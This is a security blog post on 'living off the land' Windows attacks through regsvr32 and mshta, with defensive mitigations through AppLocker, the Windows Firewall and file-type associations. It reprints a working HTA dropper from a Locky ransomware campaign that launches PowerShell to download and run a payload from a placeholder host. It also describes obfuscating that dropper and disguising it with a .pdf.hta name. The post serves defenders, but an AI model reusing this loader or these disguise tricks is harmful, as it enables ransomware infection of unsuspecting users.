The LoL approach to hacking is a lot like the “travel light” philosophy for tourists. Don’t bring anything to your destination that you can’t find or inexpensively purchase once you’re there. The idea is to live like a native. So hackers don’t have to pack any extra software in their payload baggage to transfer external files: it’s already on the victim’s computer with regsrv32.
As I pointed out last time, there’s the added benefit that regsvr32 allows hackers to stealthily execute JavaScript and VBScript without being detected by AppLocker.
The victim clicks on a phishing email attachment or downloads and opens a file from the hacker’s website, and then a single command line of regsvr32 can run a script (technically, through Windows Script Host), which perform the initial setup of what is typically a multi-step attack. No malware binaries involved since it’s all done “legally” through resident software.
It’s slick, low-profile hacking.
Some Mitigations For Regsvr32 Attacks
In terms of defending against LoL-ware, the major stumbling block is that these leveraged Windows tools also have legitimate uses. You can’t simply eliminate regsrv32.
One approach to reducing the risks of LoL-ware is through whitelisting techniques available through AppLocker. When was the last time you as an ordinary user needed regsrv32? I manage to go through my blogging day without having to register DLLs.
The larger point, of course, is most Lol-ware is meant for sys admins. Back when I was first writing about PowerShell as an attack tool, I described how to use AppLocker to limit who can work with PowerShell. A pure whitelist approach is difficult to pull off, so I just used AppLockers default rules and made some exceptions — only allowing power users access to PowerShell.
I can do something similar with LoL-ware binaries, and you can see the results below when I try to run regsrv32 as ordinary user bob.
Another less drastic mitigation is simply to turn off Internet access for regsrv32. In other words, preventing it from running remote scriptlets living on the hackers’ own servers.
Get the Free Pentesting Active
Directory Environments E-Book
This can be accomplished through Windows Firewall, which I found under the Administrative tools section of my Windows 7 environment. The Firewall console lets you tune network access on an application basis. In my case I turned off outbound access of regsrv32 to both public networks (the Internet) as well internally within the domain. Regsrvr32 still works for normally for dll registration, but I’ve effectively disabled /i option’s secret feature to pull scripts from the Intertoobz.
By the way, this seems to be the approach taken by Amazon Web Services, and I suspect other cloud providers as well. When I recently tried the regsvr32 /i hack on an AWS instance, it failed. It took me awhile to realize it was being blocked by the default Firewall rules that seem to now be standard for AWS.
Kudos to Amazon for keeping up with LoL-ware mitigations.
And Along Came HTA
A long time ago, on a distant operating system (XP), Microsoft introduced this idea call HTML Applications or HTA. The idea was to let developers create web applications for Internet Explorer (IE) without “enforcing the strict security model and user interface of the browser.” They even got a patent for it back in 2003.
They discontinued this awesome idea and stopped supporting it in later versions of IE, but the underlying engine that does the real work, mshta.exe, can be still be founder under \Windows\System32.
Of course, during the time when HTA was available, hackers realized they could get IE to launch scripts without the standard browser security checking for, cough, ActiveX objects. And that meant they could obtain shell sessions and run malicious code.
Here’s an old article, circa 2003, describing this technique.
Since current IE browsers no longer support HTA, adaptable hackers found another way to deliver the HTA code to users. They sent it as an email attachment — duh! — with an .hta extension. And tricked the victims to click on the file.
Wait, can that work?
Yes! As I mentioned, the legacy mshta.exe is still there to, presumably, to support old HTA apps that were written by over-eager developers. And on far too many sites, the file type .hta is — agonizing sigh — associated by default with mshta.
In other words, by clicking on a file with an .hta suffix, the victim of a phishing email launches mshta and runs the script embedded in the HTML.
What does the HTA file look like? Here’s a sample script taken from a real-world ransomware attack.
<HTML>
<HEAD>
<script>
try {
a=new ActiveXObject('Wscript.Shell');
a.Run("PowerShell -nop -noe $d=$env:temp+'\\4c2187acf5b34b9e97b6c675b7efba92.ps1';(New-Object System.Net.WebClient).DownloadFile('http://evilserver.com',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information);",0,false);var b=new ActiveXObject('Scripting.FileSystemObject');var p = document.location.href;p = unescape(p.substr(8));if (b.FileExists(p))b.DeleteFile(p);
} catch (e) {}
close();
</script>
</HEAD>
<BODY>
</BODY>
</HTML>
Similar to the COM scriptlets I wrote about, the HTA file acts as a container for a few lines of JavaScript. The goal is to launch a PowerShell session that downloads and directly execute the code containing the next phase of the attack.
Mshta Meets Locky
Unfortunately, many IT groups aren’t aware that native Windows binaries, such as regsrv32, mshta, and more, can be used against them.
A good example of this is a hackers sending phishing emails with attached HTA files and ultimately getting victims to self-install ransomware. The success of Locky ransomware and its variants is actually based on simple and crudely designed social attacks (below).
Another effective ploy was emailing corporate victims and asking them to download a Chrome browser update from the hacker’s website. In fact, the HTA code above was taken from a file called chrome_patch.hta used in a real-world ransomware attack.
The social engineering in either of these approaches is just clever enough to fool an average employee who hasn’t received any special security training. Or perhaps an executive who’s a little too busy and susceptible to clicking on a phish mail attachment referring to, say, a FedEx invoice
For kicks, I took some of the HTA above, tweaked it so it would download my PowerShell “boo” message, and then used a JavaScript obfuscator to make it even stealthier and less likely to be detected by malware scanners. I also added a .pdf suffix before the .hta, to trick the unwary user:
When I clicked on the HTA file, I was presented with a security dialog — thank you, Microsoft for this tip-off — asking whether I wanted to “run” what is supposed to be a document.
All too many users became victims of Locky since they went ahead and clicked on what was a security warning. Humans like to click!
Mshta Mitigations
Ransomware attacks in the last two years that were based on HTA could have been easily stopped with a few simple configurations. As we saw above for regsrv32, closing internet connectivity for mshta through the Windows Firewall or blocking it for average users using AppLocker are both good defensive measures.
Even simpler is to change the .hta file type association from mshta to something more benign – like launching notepad! By the way, that’s a very common approach, and the user should have some questions when she sees the file is not an invoice. At least, we hope so.
In the next post, we’ll look at a few more binaries that allow you to run scripts. And then we’ll review other LoL-ware that lets you mask common file activities.
I hope you’re seeing that the main point of LoL hackcraft is to make it appear to observers in the IT security room that the hacker is just another user running standard Windows utilities. And also that to reduce the damage of these attacks, you’ll need better secondary defenses!
